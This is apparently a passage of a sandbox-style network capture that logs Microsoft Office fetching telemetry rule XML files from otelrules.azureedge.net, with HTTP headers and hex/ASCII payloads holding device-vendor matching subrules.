2024-11-17 00:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003821Z-16547b76f7fr5rfnhC1DFW0am4000000011g0000000087vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:21 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003821Z-16547b76f7fbkfmzhC1DFWm9tw000000035000000000dkn7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:21 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a12cb5ef-101e-007a-7428-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003821Z-164f84587bfjxw6fhC1DFWq94400000003tg0000000015fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:21 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:21 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: c577e9bc-101e-00a2-20c6-379f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003821Z-164f84587bf7k72dhC1DFWvczs00000003n0000000005e8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:21 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:21 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003821Z-16547b76f7fljddfhC1DFWeqbs000000048000000000tbn8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:21 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:21 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003821Z-1866b5c5fbbqmbqjhC1DFWwgvc000000033g000000009erk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:21 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:22 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003821Z-16547b76f7fwggrphC1DFW2a8s00000002g0000000005pts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-17 00:38:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:22 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003822Z-164f84587bf7k72dhC1DFWvczs00000003ng000000003a14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:22 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:22 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003822Z-164f84587bfh9nvdhC1DFWmce000000001f000000000ba0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:22 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:22 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: cb83de39-501e-000a-5d97-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003822Z-164f84587bfmxxfphC1DFW3au8000000020000000000amwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:22 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:22 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb571e6e-701e-005c-5d91-37bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003822Z-164f84587bfbvgrghC1DFWbs7w00000003f000000000ebmm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:23 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:23 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003823Z-16547b76f7fwm7vghC1DFW900s000000015g000000007zq4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:23 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
